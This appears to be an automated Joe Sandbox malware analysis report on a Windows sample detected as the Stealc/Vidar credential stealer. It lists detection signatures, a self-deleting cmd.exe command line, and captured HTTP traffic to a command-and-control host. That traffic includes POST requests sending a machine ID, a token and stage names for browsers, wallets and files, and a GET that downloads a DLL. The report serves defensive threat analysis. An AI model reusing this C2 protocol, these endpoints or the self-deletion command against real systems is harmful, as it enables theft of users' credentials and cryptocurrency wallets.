Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
un78exGoa4.exe

Overview

General Information

Sample Name:un78exGoa4.exe
Original Sample Name:84f304e30439cf1f837ed4f31c1fbb28.exe
Analysis ID:876992
MD5:84f304e30439cf1f837ed4f31c1fbb28
SHA1:257518ece774da6ba53ca070121a206519f0c229
SHA256:cb7f4e286a4a8fdfa525168591131d37019090d94040feb13c8078c4a7ae4b37
Tags:exeStealc
Infos:

Detection

Stealc, Vidar
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Stealc
Malicious sample detected (through community Yara rule)
Detected unpacking (overwrites its own PE header)
Yara detected Vidar stealer
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Tries to steal Crypto Currency Wallets
Self deletion via cmd or bat file
Machine Learning detection for sample
Found evasive API chain (may stop execution after checking locale)
Found many strings related to Crypto-Wallets (likely being stolen)
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Found evasive API chain (date check)
Internet Provider seen in connection with other malware
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Downloads executable code via HTTP
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Creates a DirectInput object (often for capturing keystrokes)
Is looking for software installed on the system
Queries information about the installed CPU (vendor, model number etc)
Extensive use of GetProcAddress (often used to hide API calls)
Contains functionality to read the PEB
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • un78exGoa4.exe (PID: 7132 cmdline: C:\Users\user\Desktop\un78exGoa4.exe MD5: 84F304E30439CF1F837ED4F31C1FBB28)
    • cmd.exe (PID: 6808 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\un78exGoa4.exe" & del "C:\ProgramData\*.dll"" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 6812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • timeout.exe (PID: 7112 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
StealcStealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
NameDescriptionAttributionBlogpost URLsLink
VidarVidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.421505626.0000000002410000.00000040.00001000.00020000.00000000.sdmpWindows_Trojan_Smokeloader_3687686funknownunknown
  • 0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.421100115.00000000006B5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
    00000000.00000002.421165078.00000000006D9000.00000040.00000020.00020000.00000000.sdmpWindows_Trojan_RedLineStealer_ed346e4cunknownunknown
    • 0x5af9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
    00000000.00000002.421176016.0000000000734000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
      Process Memory Space: un78exGoa4.exe PID: 7132JoeSecurity_StealcYara detected StealcJoe Security
        Click to see the 2 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        0.2.un78exGoa4.exe.400000.0.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security

          Sigma Signatures

          ⊘No Sigma rule has matched

          Snort Signatures

          Timestamp:192.168.2.58.8.8.865323532023883 05/28/23-09:29:39.799894
          SID:2023883
          Source Port:65323
          Destination Port:53
          Protocol:UDP
          Classtype:Potentially Bad Traffic
          Timestamp:192.168.2.5193.106.175.21549712802044244 05/28/23-09:29:40.725978
          SID:2044244
          Source Port:49712
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.5193.106.175.21549713802044246 05/28/23-09:29:40.856625
          SID:2044246
          Source Port:49713
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.5193.106.175.21549711802044243 05/28/23-09:29:40.524393
          SID:2044243
          Source Port:49711
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Multi AV Scanner detection for submitted file
          Source: un78exGoa4.exeReversingLabs: Detection: 48%
          Source: un78exGoa4.exeVirustotal: Detection: 38%Perma Link
          Antivirus detection for URL or domain
          Source: http://ronaldlitt.top/25d4fc7fb0cb6b78.phpAvira URL Cloud: Label: phishing
          Source: http://ronaldlitt.top/25d4fc7fb0cb6b78.phption:Avira URL Cloud: Label: phishing
          Source: http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dllAvira URL Cloud: Label: phishing
          Machine Learning detection for sample
          Source: un78exGoa4.exeJoe Sandbox ML: detected
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040551E LocalAlloc,StrStrA,memcmp,CryptUnprotectData,LocalAlloc,LocalFree,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040F02C CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040C3A0 RegEnumValueA,lstrcat,lstrcat,StrStrA,GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,lstrcpy,GetProcessHeap,HeapFree,lstrcat,lstrcpy,wsprintfA,lstrcat,lstrcat,RegEnumValueA,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040715C memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00405430 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,

          Compliance

          barindex
          Detected unpacking (overwrites its own PE header)
          Source: C:\Users\user\Desktop\un78exGoa4.exeUnpacked PE file: 0.2.un78exGoa4.exe.400000.0.unpack
          Source: un78exGoa4.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Windows\SysWOW64\msvcr100.dll
          Source: Binary string: ,;C:\rucakos\39\xitifeco60\ridetijiyekav8.pdb source: un78exGoa4.exe
          Source: Binary string: C:\rucakos\39\xitifeco60\ridetijiyekav8.pdb source: un78exGoa4.exe
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040117A FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040B202 strtok_s,wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040B62A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040BF33 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00406BD7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_004086F1 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040827F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040BBCE GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_00407FA8 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\

          Networking

          barindex
          Snort IDS alert for network traffic
          Source: TrafficSnort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.5:65323 -> 8.8.8.8:53
          Source: TrafficSnort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49711 -> 193.106.175.215:80
          Source: TrafficSnort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49712 -> 193.106.175.215:80
          Source: TrafficSnort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49713 -> 193.106.175.215:80
          Source: Joe Sandbox ViewASN Name: IQHOSTRU IQHOSTRU
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: ronaldlitt.topContent-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 31 31 45 39 33 31 43 32 43 41 32 37 30 32 36 31 31 38 32 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 2d 2d 0d 0a Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="hwid"4911E931C2CA2702611826------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="build"default------BAEBGCFIEHCFIDGCAAFB--
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: ronaldlitt.topContent-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 33 38 64 34 35 39 34 65 36 37 30 64 38 39 31 63 32 33 35 64 62 33 33 64 35 32 33 30 62 30 35 65 61 30 31 37 33 66 64 31 34 38 39 63 36 65 65 34 33 31 38 39 33 66 64 65 38 38 65 34 39 35 37 39 65 31 37 65 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"7138d4594e670d891c235db33d5230b05ea0173fd1489c6ee431893fde88e49579e17ef5------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"browsers------CBFBKFIDHIDGHJKFBGHC--
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCBHost: ronaldlitt.topContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 33 38 64 34 35 39 34 65 36 37 30 64 38 39 31 63 32 33 35 64 62 33 33 64 35 32 33 30 62 30 35 65 61 30 31 37 33 66 64 31 34 38 39 63 36 65 65 34 33 31 38 39 33 66 64 65 38 38 65 34 39 35 37 39 65 31 37 65 66 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 2d 2d 0d 0a Data Ascii: ------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="token"7138d4594e670d891c235db33d5230b05ea0173fd1489c6ee431893fde88e49579e17ef5------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="message"plugins------GHCGDAFCFHIDBGDHCFCB--
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFHHost: ronaldlitt.topContent-Length: 19019Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: GET /3abdf8b5527012d0/sqlite3.dll HTTP/1.1Host: ronaldlitt.topCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: ronaldlitt.topContent-Length: 126003Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: ronaldlitt.topContent-Length: 355Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 33 38 64 34 35 39 34 65 36 37 30 64 38 39 31 63 32 33 35 64 62 33 33 64 35 32 33 30 62 30 35 65 61 30 31 37 33 66 64 31 34 38 39 63 36 65 65 34 33 31 38 39 33 66 64 65 38 38 65 34 39 35 37 39 65 31 37 65 66 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 6d 46 79 5a 47 6c 75 4c 6e 4a 30 5a 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="token"7138d4594e670d891c235db33d5230b05ea0173fd1489c6ee431893fde88e49579e17ef5------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="file_name"amFyZGluLnJ0Zg==------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="file"------JJDBGDHIIDAEBFHJJDBF--
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: ronaldlitt.topContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 33 38 64 34 35 39 34 65 36 37 30 64 38 39 31 63 32 33 35 64 62 33 33 64 35 32 33 30 62 30 35 65 61 30 31 37 33 66 64 31 34 38 39 63 36 65 65 34 33 31 38 39 33 66 64 65 38 38 65 34 39 35 37 39 65 31 37 65 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"7138d4594e670d891c235db33d5230b05ea0173fd1489c6ee431893fde88e49579e17ef5------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"wallets------CBFBKFIDHIDGHJKFBGHC--
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: ronaldlitt.topContent-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 33 38 64 34 35 39 34 65 36 37 30 64 38 39 31 63 32 33 35 64 62 33 33 64 35 32 33 30 62 30 35 65 61 30 31 37 33 66 64 31 34 38 39 63 36 65 65 34 33 31 38 39 33 66 64 65 38 38 65 34 39 35 37 39 65 31 37 65 66 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"7138d4594e670d891c235db33d5230b05ea0173fd1489c6ee431893fde88e49579e17ef5------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="message"files------JJJDGIECFCAKKFHIIIJE--
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBFHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIEHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFHHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECGHJKKJDHIEBFHCAKEHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDBHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFHHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
